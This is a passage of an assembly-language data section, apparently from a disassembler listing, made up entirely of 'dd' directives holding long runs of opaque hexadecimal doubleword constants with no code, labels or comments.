		dd 2B8E551Bh, 0B2DEC08Ah, 2066A2A7h, 0B62D8000h, 1D4D896h
		dd 87530FE5h, 0AC45798h, 0C950C0B1h, 0B98091DCh, 6334023Eh
		dd 573F82F4h, 99FBD868h, 5F9F6E00h, 7E68E412h, 0ECDA4DD5h
		dd 0C2B2502h, 4C408B1Dh, 0D33DC44Fh, 22310087h,	8A158539h
		dd 68071CCCh, 561640B3h, 49BE26C6h, 0AA2A8800h,	0B948137h
		dd 5D4041Bh, 8007A484h,	0E0E7B6E8h, 62B1C3Dh, 2199475h
		dd 6E870018h, 54D56139h, 0FE765D2Ah, 0D79DC100h, 41E95249h
		dd 0A4E301D8h, 0A90314DAh, 2E186050h, 80EFC01h,	0BACC1D80h
		dd 7A8FAD4h, 0DCD9CD26h, 126A6036h, 0A00075C5h,	0CE0A31DEh
		dd 0BC2D74h, 6EC88E99h,	6B76B0F7h, 6531302h, 4021E912h
		dd 1DFF6FCAh, 4E43282Fh, 87A4AC0Ch, 0BF4C80B8h,	0E003F26Dh
		dd 7D1507F3h, 9509D938h, 8363F8h, 0F6CFE382h, 7B10D92Fh
		dd 8EB3813Eh, 0C03F0D2Ah, 0AB0A691Fh, 6116133Dh, 0C19000E3h
		dd 4C7CA8ADh, 2207E000h, 3DD45B4Ah, 39E72A0h, 9FC56F9Dh
		dd 0F698727Ah, 0B300AF23h, 0B4B90B74h, 50448C67h, 30DCBEEh
		dd 0E6703A85h, 90EDF653h, 0C577C2C4h, 0B51C1F67h, 6BC0ECA4h
		dd 433FFBh, 0ADC48878h,	5A73E90Ch, 13949900h, 9C26467Fh
		dd 9E330074h, 0F4B3D8D7h, 0CC0AA488h, 0BC8A9FBDh, 0CDA8B504h
		dd 3F4EC090h, 0DD4000A7h, 119B6CE9h, 5900C518h,	537E35D1h
		dd 6D9D1Fh, 0E5C3ADCCh,	0D7DA845h, 0A9FBC800h, 0BC6924Ah
		dd 0EE7800D8h, 35195942h, 3E029943h, 0CAE77AFBh, 219C6041h
		dd 70C800CFh, 0EF800D3Bh, 0D400CE22h, 9B03EAC2h, 167768Ah
		dd 3B8E61C0h, 0F4D6D77Fh, 0F900B57Dh, 4751F4C4h, 268A2D8h
		dd 6B3533Ah, 3FE1B9A8h,	0BAD08090h, 0A7FA70B7h,	4A02002Dh
		dd 0D5927E9Fh, 2B00A441h
		dd 283968C7h, 73640B5Dh, 0BC8D492Ch, 664C9E00h,	0D9147CF2h
		dd 190F53ECh, 80BA974Dh, 28D2AA8Ch, 66C70132h, 0CC5F1B79h
		dd 0C970806Eh, 21D59AA4h, 5B7028E4h, 390A12AEh,	0FB81E19h
		dd 46C06E06h, 3FB2ECFDh, 0E076A900h, 3A871EA2h,	565400CFh
		dd 82AA7558h, 7103D599h, 34A5BEE3h, 45607F83h, 45E6E0A9h
		dd 0F4FDE492h, 0B80189BCh, 0B6E7CD7Ch, 0D5F4AF68h, 66AA0020h
		dd 0A3749B9Ch, 0F00AB03h, 0E658DF59h, 0BB49FEh,	180CA0B7h
		dd 3624944Fh, 0AE35AA03h, 2AE4BCD9h, 9989970h, 0EE838CD0h
		dd 6CC00042h, 0BC002446h, 239AE4F6h, 13BFFEh, 0EBAA341Ah
		dd 675206A7h, 0E568A600h, 3C078A70h, 94CE54F9h,	19090090h
		dd 0F49AEC2Bh, 0C524457Fh, 7E0008B5h, 0C46DD3D2h, 33CAE8Eh
		dd 9E5EB2CBh, 583AD296h, 0EFA2800Eh, 0D822D31Dh, 6E8B0FCDh
		dd 39E3B867h, 70D8E4F5h, 0B2003754h, 7A19124Ch,	94F3B5A5h
		dd 0F2DE02B8h, 0D360E2D8h, 910054B7h, 0C6D141C2h, 48F87E33h
		dd 1A0012D0h, 69FBA409h, 3D0082D5h, 0CE93BD2Dh,	1E79CA64h
		dd 0C2132A4Dh, 0AE6D1A09h, 8A568180h, 0F400DC84h, 29E65A5Bh
		dd 0B77F3Ch, 0B2F9D378h, 24DB95D8h, 0D73B2A00h,	62EA0D39h
		dd 91520425h, 0C78DA3D9h, 5B46E000h, 60F27A94h,	0A25DF407h
		dd 0C02EFDC9h, 9878220Ch, 0AEF8ABh, 11D1B308h, 664358B1h
		dd 8D45DD00h, 0EE9206C3h, 2279002Ah, 44B6D2E0h,	65004CD8h
		dd 2E076FD0h, 1DD1BC63h, 1F2D1534h, 3AF440ACh, 5095C9A7h
		dd 9C23E218h, 29F358h, 0A05F35F0h, 0C9734A0Dh, 25FBA51Dh
		dd 7568C00h, 0A07A4B5Eh, 6170FBh, 0FDF6C159h, 7BF26826h
		dd 0B8BE1200h, 0CD0283FFh, 2F3700B7h, 0F67A8CECh, 97073E57h
		dd 1FB88159h, 0E1E60F30h, 0D0166B10h, 99114001h, 717E60FCh
		dd 0A8F61C00h, 358CFDA9h, 967EA0h, 79BDA18Fh, 5EF18DE6h
		dd 80412738h, 0A8F4A74Ah, 0F833E857h, 3C910438h, 8184C421h
		dd 0F8F9A99Ch, 9CB09861h, 0BC00A8E8h, 7CB98A5Bh, 1DAFF632h
		dd 0C06E93DFh, 8C63F578h, 7002E7A6h, 0A36DE304h, 0D494632Fh
		dd 9702ECD0h, 69120033h, 0F06F1D10h, 9F00346Dh,	0C25F76EAh
		dd 77703615h, 0B86C00ABh, 3E30226Eh, 0A000BC59h, 48E84CD7h
		dd 7C26D99h, 75495B38h,	30D83B4h, 4082690Eh, 0C257899Ah
		dd 6BE5802Ch, 4D18EA7h,	2F62D29h, 26218139h, 7499D9EEh
		dd 34B0CF08h, 388B7630h, 18A901CDh, 10902CEDh, 0A200C103h
		dd 0E095FE30h, 60EA090Fh, 7D7298F2h, 7F58CABBh,	0B42E1018h
		dd 6856BF80h, 464874E1h, 0FE0C00ECh, 0C6F470A1h, 0A8480013h
		dd 1F3FC4B4h, 0A601027Ah, 0F88796C2h, 49976D0Bh, 0E7590091h
		dd 0DA9ED001h, 0D981C230h, 3BC0FE4Dh, 8680EC2Ch, 9EB092D9h
		dd 2E00E6F3h, 47C92239h, 26BF0A2Ah, 5C0421h, 919B378Dh
		dd 4EE48C17h, 0FABA7400h, 11F47A1Eh, 3316006Dh,	190CA2ABh
		dd 4B3DAE80h, 485Eh, 117DF274h,	7AF0938h, 502C8AA9h, 9980E063h
		dd 0F53EDD05h, 9E3C00BDh, 42F0FC4Bh, 8A821D1Ah,	97A9089h
		dd 0C0F353DFh, 9193ECh,	0F47B35EEh, 433096B0h, 0E9F83300h
		dd 4654824Fh, 0E22A13CAh, 1B860181h, 0C8FD1771h, 1A09E730h
		dd 80BB78D9h, 0BEA89A52h, 0A23900B1h, 0CD036A11h, 8EE45018h
		dd 3A00F990h, 656CB0B4h, 0E26775h, 5C84111Ch, 349FC42Eh
		dd 3300F971h, 0EAA179C6h, 20EB96h, 2882E884h, 50AC1741h
		dd 3FE28900h, 30180D2Ch, 0DD913BBCh, 0D9167303h, 8690F4B6h
		dd 0AD0049A2h, 0FBA9AA45h, 7F111E4Fh, 53C7011Dh, 6B91C2C5h
		dd 4EF470ADh, 39A0151Eh, 0FD3B4F40h, 460B5Bh, 0F1BE3194h
		dd 3473A44Dh, 923541Fh,	1C40B741h, 9B70D9C2h, 77D0064h
		dd 30E33DF8h, 5809DDA2h, 0E0A433DCh, 2E524FC0h,	1D0D0E95h
		dd 0E03945DAh, 465FC16Eh, 3721DC6Fh, 0A175EC00h, 8633327Dh
		dd 1CB40B92h, 3D004159h, 0B36F7A16h, 0E9B83014h, 0CAA60384h
		dd 0F37C3AC2h, 6288E105h, 2878854h, 925D83A0h, 0B0EA00E7h
		dd 0B5E99C20h, 500019B6h, 99D29AD8h, 504DA6C5h,	2AD7FF54h
		dd 3884D321h, 3EA276A2h, 6D5FAF00h, 0BA271457h,	0B23600F7h
		dd 7AF28134h, 0E012A282h, 81F2640h, 5A86D1C0h, 9483DFh
		dd 6664D95Ch, 87188444h, 511D0900h, 0AFC7A874h,	9ABC001Bh
		dd 8943C301h, 81008B23h, 0D99337D3h, 7E95E1DFh,	0F0BA0060h
		dd 0A6C6671Dh, 520EC5C9h, 0E0B8BB18h, 5388D123h, 0F1F000CAh
		dd 73D42060h, 2B0143BDh, 464EC709h, 1CC08FD0h, 111B0953h
		dd 0C08093F2h, 0C2108CA2h, 4F9F0100h, 0F07A8E31h, 383200EBh
		dd 0B9FC8D9Bh, 0C04C8FDDh, 184B013Eh, 353B630Bh, 12FEA5DCh
		dd 2388DFh, 1BBE32AAh, 965C5B17h, 2DF31608h, 37B8B102h
		dd 3864DE85h, 0D824DF0Eh, 5CE7940h, 0C800B2DCh,	86EAFD67h
		dd 7667BDBh, 0E9A3A62Fh, 0D58BD096h, 5700B544h,	49EBB2B7h
		dd 0C59A85h, 80DDE40Bh,	6EA0F130h, 0CE169000h, 2C66F6ACh
		dd 0A7510768h, 40B8C65Bh, 4F59EF30h, 0D8D78B02h, 7AE7E88Fh
		dd 0FCFCEC74h, 88142CBAh, 1DA50272h, 97406279h,	5B0022EEh
		dd 10BEC874h, 0F8931282h, 723F0EA0h, 4172B126h,	87C74C54h
		dd 0C167ECADh, 0D3CEC400h, 0E0537CC0h, 5C3E0008h, 8519E2C3h
		dd 0C701263Dh, 52CD560Fh, 5D707AEBh, 0DC5000Eh,	8BED43ACh
		dd 8700B80Ah, 8ADD74E8h, 3A4B32h, 4A420578h, 0D6E01979h
		dd 7097FE2Ch, 69EF0F80h, 6C140Ch, 62DDEB27h, 0B83DC1CFh
		dd 30284774h, 877984A4h, 0BF81951Eh, 0E6438600h, 38995D40h
		dd 4C722794h, 0BD007C52h, 0A582E4C3h, 4A006E1Eh, 7ED045C8h
		dd 1217C219h, 0FEB81F13h, 43A41705h, 0BD38C481h, 7E6DFFF4h
		dd 9D44B939h, 4AF14799h, 0C390F0ABh, 0E00FCCFh,	2102292Dh
		dd 9AE0D34Fh, 1090B0h, 895DDCA1h, 9E713DCCh, 2EEAF416h
		dd 39929005h, 0FCF99C80h, 0D40600A4h, 78739D07h, 4C0BDFEEh
		dd 8099C2B1h, 0FB46D86Ch, 0D37B0727h, 79FAECB0h, 86B20C80h
		dd 5B1C6836h, 3C9B912h,	2B14A055h, 5FF2E3Ch, 0E6E38662h
		dd 3D828184h, 72D6C89Fh, 5826D826h, 8000C545h, 0BEE73355h
		dd 7B800424h, 0C0368A7Eh, 5C0B610Ch, 0E0E54A25h, 7BAC39E7h
		dd 297700F5h, 0E8A91C17h, 7000FB41h, 5CDA773h, 0AF6C6Ah
		dd 0F9AA3F93h, 0F620EC51h, 0B999D48h, 0DDAEDF57h, 0DAD08E80h
		dd 0D21C90B5h, 0DBC0C4F3h, 0BD41B952h, 0E6F700EAh, 75634E4Fh
		dd 3A0381C1h, 0A5091139h, 0DFDCF174h, 0F800BC38h, 0B9B5F62Ch
		dd 0FF00868Dh, 1625C39Fh, 17E11F1h, 5E1E9E83h, 0E014FBB7h
		dd 9B001D82h, 0D0A17B96h, 0E48F069h, 0BE355849h, 0D1E3E9EEh
		dd 86DBDB56h, 1F436CF0h, 62FBE100h, 29577CA0h, 1D23B0F6h
		dd 802FC42Ch, 0A9CA3264h, 685EFCDFh, 3B00FEB8h,	4001B9D7h
		dd 4600D9D3h, 0A0E85848h, 2A0BC3h, 0A9C93C5Ch, 7E0D8647h
		dd 43576E12h, 11C0501Dh, 0AD707234h, 7DBA00FDh,	646D6062h
		dd 0F490A493h, 412DB300h, 357A54C3h, 0AC341CAAh, 299080C4h
		dd 0FD27BA46h, 0E90085FCh, 0A808A6C8h, 0C38C55h, 0AF9A0E1Fh
		dd 75320287h, 9DB74800h, 7363234Fh, 0DDCD00EAh,	0C6625FAEh
		dd 0E5002A34h, 71A18BD5h, 406E3Fh, 1DEB827Fh, 9D513769h
		dd 0AC11A000h, 293AAEC3h, 19CF21Fh, 1279826Ah, 6C10C1A7h
		dd 0D9AF0338h, 982A41A0h, 5C253D24h, 8001A3F5h,	9C332C6Bh
		dd 9B9C6059h, 204D65Ch,	0EAFBE6C1h, 58FC6016h, 0AA5A00BCh
		dd 3CF5294Ch
		dd 20003398h, 5D8F5350h, 84F39Dh, 0CA680899h, 215B7504h
		dd 0ED227A02h, 42F8532Eh, 66BFC190h, 70F3E730h,	7330029h
		dd 0C4CF8B2Dh, 12ECFF31h, 9E5BB605h, 0FCC0D194h, 664C20h
		dd 42B3C94Ah, 54BCF972h, 65F3E70Fh, 29AE0421h, 0B52E9080h
		dd 0E3970512h, 87904067h, 0A5C9E0C7h, 1330060Fh, 83F4103Fh
		dd 384E099Ch, 18406E34h, 14045A45h, 0F2FB9308h,	38732D80h
		dd 2B49059Eh, 8CC39A76h, 0D100E884h, 0BE309F4h,	39912D7Ah
		dd 0FC004183h, 69472024h, 3C76C6ABh, 21F0B000h,	5F107278h
		dd 0AAE0003Fh, 332FFB29h, 0EA01D26Dh, 0BB0CC24Ch, 74D46835h
		dd 38D7F93h, 0D64695D4h, 0C8E042DDh, 2A026117h,	7EEB3102h
		dd 0C31760E6h, 0BEE50775h, 91508B5Bh, 0CCF41BDAh, 29004F1Ch
		dd 2107A4D2h, 22B30E6h,	0D19D6AABh, 0D7802516h,	5F32826Ch
		dd 0B4076000h, 0E840B6E4h, 58F00061h, 4F0B20C4h, 3300D6F1h
		dd 0CC85F61Bh, 634462h,	7B40F08Fh, 507F2DA5h, 0A98D8E00h
		dd 73871B0Dh, 0E1AE0096h, 19C4A87Ch, 0EA007E60h, 0DB6FACEEh
		dd 48BBC86Bh, 0BC0009EDh, 8904E30Bh, 86001F4Dh,	0E27D02A5h
		dd 37BB4E8h, 0CDD02F19h, 31E9F00Fh, 642BDC04h, 9E1F1500h
		dd 23E3DA21h, 0D49C0EAFh, 3A60E00Bh, 8F9DF754h,	6B3ECC00h
		dd 43ECF99Ah, 3F9CE4BAh, 370CDD8h, 0E1AF72F5h, 7FD91DE2h
		dd 0C0C8804Fh, 0C711A0Bh, 0CF3F00EEh, 8F5B7A53h, 4800C104h
		dd 8B06E029h, 8E262Ch, 552879C0h, 0CA34527Dh, 84757000h
		dd 0C931E9B8h, 7E97002Ch, 65C647D9h, 99631E48h,	0A892EDA0h
		dd 17A4234h, 639E3BC4h,	0EC0C146Bh, 0B45C30A8h,	0B3F60FDCh
		dd 0DA1C40DEh, 3E225D35h, 780472Dh, 58B55A36h, 3B00D66Ch
		dd 0CBE51EE7h, 33EEC2h,	6046E291h, 0A2C53F74h, 15D8B800h
		dd 0A3872F2Eh, 8E712755h, 4C03C95Ch, 5375D6h, 2E8564C8h
		dd 2B50728Dh, 2C088C00h, 0FAC54A92h, 3CAA0067h,	0D6A22776h
		dd 0A313841Ah, 0B400BB1Dh, 7F87D325h, 0D0AA0063h, 684E6765h
		dd 0E201D67Bh, 0DF62F31Ah, 90DC9B83h, 5B63A91h,	0B8953200h
		dd 828DF2D4h, 47AF581Dh, 858E6C80h, 0D29C2Bh, 2F3DA757h
		dd 0DC71C2E8h, 0D8905400h, 55196EF6h, 86200067h, 9C243A26h
		dd 70C05F73h, 271D9743h, 4EDD18BBh, 8E38A9DCh, 250061F2h
		dd 1BF98F2Eh, 2A1F19h, 0D26057F2h, 65370A4Eh, 7317D603h
		dd 0B8D3F0FDh, 0AA5EE5h, 86E21D5Dh, 602784F2h, 9EC69707h
		dd 8310DE10h, 0EAFA723h, 0DDE867A9h, 1DED5B20h,	1100E602h
		dd 0B107F473h, 1DC03609h, 0C0E84FD6h, 8351676h,	190069E3h
		dd 1D2FA28Ch, 8AAE95h, 0BDCCBC5h, 188E08F8h, 83A05100h
		dd 0E0092074h, 2CE0E9D3h, 92B804h, 65C5F099h, 39F4849Eh
		dd 1400E770h, 4428BB3Bh, 96BCCAEh, 3C45A858h, 0EC088820h
		dd 0E70043B8h, 5B6D12A5h, 1663F68h, 324762BBh, 0C024375Dh
		dd 0A6002BE6h, 9A608E20h, 1CE3CD89h, 40F6F301h,	2D7BC44h
		dd 5977D30Eh, 0A94F6D00h, 6EC4BDBBh, 99E300F3h,	0B951A8DFh
		dd 6600569Dh, 910DF28Ch, 1DA0B8BDh, 0A4066C69h,	0D3F900F4h
		dd 0EC925452h, 41076300h, 0A255CC88h, 1FC03DD0h, 0AB115E00h
		dd 86674F32h, 4A057601h, 0D5C1AE5Dh, 0EDD448FAh, 9FE3001Fh
		dd 0A3063E8Fh, 1B00FC23h, 11771C0Dh, 12A95E0Ch,	95DC1E6h
		dd 0F809994h, 2C87ACC7h, 0B64E8203h, 0B0F4E538h, 31B85Bh
		dd 0CA090745h, 0AF48A5C3h, 20BA8C00h, 74D0130Dh, 0D4B00458h
		dd 80300CE0h, 77F1D918h, 1C011B7Eh, 0B37473ADh,	7830BFECh
		dd 0E74700E4h, 21B49942h, 0A902EABAh, 60CB06B8h, 0C3C440FEh
		dd 39FF0CA2h, 0A1D8478Bh, 2E6DD50Fh, 6C804086h,	18A1685h
		dd 8309AB0Dh, 0DDBD40B3h, 0F6E080DDh, 20C5062Fh, 0A67B0249h
		dd 4266CF6Fh, 19470860h, 0D700149Ah, 82C995C5h,	1B385C1h
		dd 0CC35E8F2h, 0C8AA25DBh, 3101C3CEh, 4AF068CDh, 9FFDB136h
		dd 60FFCCh, 6A47BF4h, 0C4224CB7h, 67FA05B8h, 0D8742717h
		dd 29E04B00h, 432ADBh, 0F689A7C1h, 0CBC39788h, 0BCBF9A00h
		dd 42220761h, 859B0087h, 2ED221EDh, 0E200DF46h,	0FF23693Ch
		dd 88FC4Ah, 29C0F806h, 4B8D45E7h, 8684900h, 0BA1F181Bh
		dd 0FD8718B5h, 0E37C21CAh, 0F5C9B09h, 277280DFh, 7805D6C1h
		dd 0D0A5001Dh, 31654C39h, 6D007CA0h, 0FB248BC8h, 281BEDh
		dd 82467756h, 6ED445E6h, 4F387100h, 0FF3F1C19h,	313A00FAh
		dd 1A33E7B4h, 34015CE5h, 11236028h, 18800FBDh, 0C9FC751h
		dd 9E00B6B7h, 42887CB0h, 0ABE525h, 34FC7417h, 43C3A687h
		dd 0C7E7062Ch, 3F27873Ch, 5927211h, 167D60E4h, 0D40F0064h
		dd 4246CBA0h, 52011F8Ah, 1AC3C71Bh, 53F8A9FDh, 0F0E0000Eh
		dd 2A765FFBh, 3C006017h, 3FF8B4Ch, 75C0ECh, 0B2BBD9DAh
		dd 950D8657h, 0A10EEFF0h, 62765971h, 0E093BFD5h, 0AA36665h
		dd 33B6DB79h, 964F00C8h, 0A5FCFA7h, 0A85AFB0Eh,	0D398CF55h
		dd 0C1E09F0Fh, 8E88DCEBh, 0A9AB3183h, 4C800326h, 0EC0028FAh
		dd 0F9E3011h, 3EF016DAh, 0E900A648h, 13B26A29h,	0B41CDB0Ah
		dd 0E0C32C0Eh, 98197DF3h, 43E660h, 5508E857h, 0D54FE710h
		dd 0EA250101h, 0A997B912h, 0D9828080h, 0A6E29E45h, 0B22C3900h
		dd 154F9F95h, 9D20C0A0h, 8F5FFED5h, 0E4EC8C0Fh,	7B1839B2h
		dd 0D465ECh, 61AD7769h,	79567251h, 0BD7A251Dh, 0A3FB398Fh
		dd 5D920Ah, 678E09BEh, 5065E3C5h, 91583CF2h, 0B758E3h
		dd 7EFA743Bh, 58B52FC4h, 0CD003513h, 2DF7C8B0h,	0E1006DD1h
		dd 0AA873EEh, 12B99E8Ch, 7CE972h, 0A5D04DACh, 0F0348DBh
		dd 0D16C3F02h, 6B3971Ch, 0F588D0C0h, 3EF204BBh,	8080F993h
		dd 0DF22A590h, 552B22h,	3A4B9CBBh, 437E7BE6h, 0A90BECB0h
		dd 81FECE2Ah, 3CCA294Ah, 0E798D0h, 42854483h, 802A2F88h
		dd 1649CD1Dh, 93EC6B40h, 182AF41h, 0C53CCF8Eh, 21D4F5B9h
		dd 0C13FC050h, 0E4894D03h, 0E8EF7E1Eh, 7C2A3161h, 78A6482Dh
		dd 0D17D1E71h, 1A60336Ah, 506320F8h, 0A8C71D30h, 12B051Ch
		dd 0B30D4A38h, 808B379Fh, 672E0711h, 3E5BC17h, 0B931AFE4h
		dd 0D0C1476Dh, 7288E889h, 49833213h, 0FD611040h, 1320E921h
		dd 0C4DED0h, 711D1E58h,	0C600DC65h, 0ACD17947h,	92C9ECDh
		dd 8D18FBBAh, 0DBB7F380h, 8040317h, 30ADA4A9h, 0D59914C0h
		dd 34C30084h, 0C4C79A78h, 3D0C5F02h, 60673FF0h,	7DC0E042h
		dd 395400D9h, 0C5A32C1Ch, 0FCEF4124h, 0DF507333h, 0B53E8C3Ch
		dd 504A2FDEh, 34C03F5Eh, 498007B8h, 6A3CDC7h, 0EE01DD4Dh
		dd 8E110C85h, 0C3D12A4Eh, 1840384Ch, 118D31EAh,	1200D1BAh
		dd 615A52DCh, 0C1B736h,	79E087A3h, 0E1E9DD7Bh, 0A1910E0Eh
		dd 46EA6021h, 7E78C885h, 972E0044h, 236F09C4h, 1B003E62h
		dd 0ACFB0F4Fh, 0EADF7F36h, 0B5F500D2h, 0E3A06142h, 6E74B428h
		dd 0B6414E13h, 0AE684B00h, 0E480763Fh, 3213004Ah, 19C2DE85h
		dd 7100032Bh, 678FB688h, 5806EBh, 1BA79F34h, 625F7AFBh
		dd 98BB2801h, 0B4D0CE9Ch, 4F0C2880h, 0C8548A36h, 0AE1510C7h
		dd 0F844F4F1h, 343055CDh, 8A8806E2h, 105CA7B4h,	1F18902Ch
		dd 117F0300h, 92D46BCEh, 21170908h, 400727D3h, 2880E957h
		dd 0DCDD6971h, 18F13Ch,	7A73B6BBh, 98E30636h, 0E0581070h
		dd 4A020034h, 7549B386h, 74A7004Dh, 0C5177936h,	4B005731h
		dd 2D9E53EDh, 0A57C86h,	0A02A2956h, 8FF14FCEh, 20197712h
		dd 0A7E6B000h, 1E2D9542h
		dd 8068FB4Dh, 0DDBADB31h, 0A8000AD7h, 0F5F1EE3Fh, 3B9299ECh
		dd 3DBB6035h, 0BB8CB000h, 162D3ED2h, 0D27B113h,	0E4D6E400h
		dd 1F48135Eh, 28B268h, 9F55124Eh, 1900FB45h, 0A1C7C842h
		dd 0F2BEF6B9h, 0C0160B5Dh, 0A880F963h, 68D52058h, 0CFF0BFA0h
		dd 0DB239700h, 6E926B60h, 0E302029Ch, 0A39F420Bh, 0DAF02FDh
		dd 5B888031h, 15F991Dh,	0F272B7F0h, 0F0ED1B49h,	7CE09CDCh
		dd 2CFD3500h, 0F4EBB1A6h, 30A000B3h, 0D3156561h, 0A479EDE0h
		dd 80535200h, 9C63951Eh, 419403E5h, 36D2F149h, 0AF33FDC8h
		dd 0C87EBC00h, 18E478D6h, 39320019h, 9D8655E2h,	500D526h
		dd 306E1A31h, 0BC105Ch,	223EC98Eh, 5FF4A383h, 3785D92Ch
		dd 0F5AFCF00h, 90E9ADF9h, 0F87C5198h, 39BD9840h, 174D07AEh
		dd 0B0499A76h, 386ABDEh, 8E7EC504h, 80EF3EA8h, 82984CE2h
		dd 2C099FEEh, 2131395Fh, 8E327EECh, 0A8BC60h, 0B27DD276h
		dd 0EA1D1210h, 0FEE21304h, 0D0835263h, 4C0C40Eh, 6D76C4h
		dd 21D88B4Bh, 4C056C1Fh, 7CF12E0Fh, 766421D1h, 0FEE87452h
		dd 30F7F223h, 0B9D05069h, 60740BACh, 847FB301h,	0DE1A2413h
		dd 0E291D8h, 0B2C588E6h, 0A7BE3E78h, 0EE5D3D00h, 0EC94B3Ch
		dd 6B36093Ah, 800AA5Eh,	7EA2D2F2h, 803D463Bh, 760857D4h
		dd 0EE143668h, 9C1A0045h, 7BE8C87Ch, 0D03D647h,	9E5A73E1h
		dd 0E490F594h, 0FEE0A76Eh, 813C1E3Bh, 0D4B5803Fh, 0A8CF49F3h
		dd 8ABC3A01h, 84A6BD8Dh, 1F6C7124h, 0C5747C59h,	0C0FAD1ADh
		dd 0B490A5DCh, 0E94ECC00h, 5AF1F9EBh, 0CBE6CFh,	92BF8A33h
		dd 1B552302h, 31668D00h, 0EC1F30FFh, 0E5150013h, 940DE9B1h
		dd 0FD006F20h, 9F7C954Dh, 2E985Ch, 63B8F2C9h, 0FA86DEAFh
		dd 1A8F7B07h, 5AF038C0h, 0AA2557h, 0EFA4CD88h, 0FC65A8B5h
		dd 762B6100h, 0D60C35E1h, 0F49AF0ACh, 877A8Ah, 0FEB7494Dh
		dd 9B142821h, 7BC25301h, 888FE846h, 4A0DF4h, 5D7126F3h
		dd 0AA0C6610h, 5EC13Dh,	5AF43B72h, 0FC2377A9h, 422F0037h
		dd 0B521C4A6h, 0E203959Eh, 68668D1h, 0C6F5A94Bh, 6EE464h
		dd 184858F6h, 90E6C769h, 5777CB0Eh, 0DB8B4784h,	70F6001Fh
		dd 90A4144Bh, 6AE70090h, 0A218C6B1h, 0F000A668h, 4143FD24h
		dd 0FC119F4Eh, 9F47DFEh, 0A9B214BFh, 2D6FA418h,	91973B09h
		dd 0D85800C6h, 1D27B4DFh, 43D49612h, 0CEE571F9h, 0FEAFFAB0h
		dd 4F840902h, 605CF247h, 2CB01497h, 70366Ah, 0C8F7FB42h
		dd 800FC6Bh, 490FD692h,	0B0576955h, 0FF320717h,	0A0B4A9A7h
		dd 2952043Bh, 0F8684B00h, 8F88793Dh, 419901C4h,	254226E1h
		dd 0AD78702Ch, 9B934A18h, 0FAF5ED18h, 394E30B1h, 1432A310h
		dd 16905E00h, 5DE554C1h, 7C130007h, 0FAB2100Eh,	6800A6AAh
		dd 758FCD3Fh, 289A03E3h, 0B4BCA7h, 0ACD25F33h, 0B7C248A9h
		dd 0B60BEBEAh, 8051F8AFh, 41A5C640h, 78F90081h,	6B67E373h
		dd 5D00ECBAh, 52CFCC86h, 2E5925BBh, 0CCDB8Dh, 45410492h
		dd 0A60021F9h, 0E8561AD7h, 9711FCh, 2D790BC6h, 5DD266Fh
		dd 487BF25h, 0FEC00E8Ch, 1FB6FEh, 34A1553Eh, 0C00B9038h
		dd 6A987F9h, 9D1A8428h,	817F690Fh, 76817D57h, 0DE7EE860h
		dd 63440118h, 8E80A69Fh, 86F30E20h, 0C969FEF0h,	0FA0F8C28h
		dd 88779303h, 7B66182Eh, 2039070Dh, 40223880h, 204F8ABFh
		dd 0E8F25503h, 7872C6A7h, 3DC87031h, 7BCA502h, 3BA00F72h
		dd 0DECFB506h, 33939780h, 2709CDC5h, 8ED963h, 8FFD9DB6h
		dd 0BF5000F2h, 9294020Ah, 1F0044A6h, 0FA1B9A53h, 3E0E3799h
		dd 8A0095B0h, 91564201h, 0D82E46BEh, 38370789h,	1F630388h
		dd 90008B72h, 1CAD146h,	0E88AC2Ah, 0E80362BEh, 28097E20h
		dd 0B8603631h, 0DA0A7418h, 0A1E400AEh, 5F3D02Ch, 98A07518h
		dd 8E7E29A8h, 0A29B28C1h, 0BC508B7Fh, 51A7E3Eh,	810FE6FEh
		dd 90A44F0Ah, 461F21D8h, 3A748CA8h, 39512460h, 30179856h
		dd 31D1A182h, 0EA0578F4h, 0E6F872BEh, 0B9792000h, 2A97084Dh
		dd 0ED4A1F7h, 0E95A6505h, 85E0E68Ch, 82C43Eh, 15834E1Ch
		dd 0D0570986h, 3B1C6060h, 280C80EAh, 0CAFD5DD7h, 3611B700h
		dd 0AAA8B25Fh, 4004C066h, 5D77999Dh, 8B51F01h, 3391678Dh
		dd 13A5AC0h, 44EEF432h,	8223831Ch, 94FDA6E9h, 3EB3C06Fh
		dd 0B07A007Ch, 58037021h, 3300F3A8h, 0DA1A6C2Bh, 4241F5Bh
		dd 928405D0h, 6764C065h, 4919469Ch, 0DE51277Dh,	0BCAC48h
		dd 0A42E0A6Bh, 133F1512h, 14FA8400h, 2FFE7C43h,	54A53E3Eh
		dd 30440698h, 3B3CF687h, 982B008Eh, 820B86CFh, 1659C00Ch
		dd 0B6222595h, 183E213Bh, 0DC698680h, 0A7730019h, 55B9BA9Eh
		dd 71008207h, 90AC7E7h,	412BD01h, 0A2982294h, 7A85008Bh
		dd 0FDC5BAh, 4EDC34E1h,	6E26694Bh, 0F91AB003h, 189A1404h
		dd 6995DFA1h, 0A303F664h, 0D7401767h, 0F70B757h, 722589FEh
		dd 1BEA2Eh, 0DD0ABA80h,	0F3A1B766h, 11D7CB30h, 28980528h
		dd 0CF87AC8h, 9D74B295h, 677CF758h, 297EFA00h, 2BFF9FA2h
		dd 1C530077h, 0B1AF73BFh, 0C0380DFh, 938D4E0Fh,	7CA308h
		dd 0B1D75421h, 3A175557h, 0A6033E73h, 0A38B67EBh, 2C511051h
		dd 0B188C52Ah, 8941C81h, 0A0652851h, 0B1F05300h, 0D8CC9B07h
		dd 33207C7Eh, 5C5BCDh, 0F81DFC97h, 0F4E46013h, 0DCFA1F00h
		dd 1EC3A61Ah, 5ED419D6h, 2F9C804Eh, 6FA2BB0h, 719841B3h
		dd 3C0010BFh, 0EBBA3724h, 37546FC4h, 60874E3h, 2E0020B2h
		dd 63BF372Ch, 3E8CD2h, 9ACAA443h, 9F9BCEAEh, 0C910D0CCh
		dd 76C71860h, 5B657093h, 78A2AD28h, 1A0FE56h, 80D6B1B6h
		dd 0B0804h, 0F4B1BE51h,	263B88CCh, 5FAEB0h, 1A7D7104h
		dd 9800C7B6h, 31029F0Fh, 0ECA3FDE4h, 0C3BB1865h, 60FF706Dh
		dd 0DA477903h, 9FEBE268h, 3FE8B4B0h, 0E40F00ABh, 0EF092612h
		dd 6B070D82h, 5AF2FCEEh, 80938F0Eh, 90DC7E99h, 0B683F940h
		dd 0B84C4EDEh, 0C3041143h, 3AFAD23Dh, 75BE10h, 1FA6DF62h
		dd 9BCD414Bh, 77DBC80Bh, 28700026h, 0D467A8h, 7F9929D7h
		dd 0EBFD4FA2h, 16C3FB00h, 9CFF4732h, 0F62000A9h, 90C539CBh
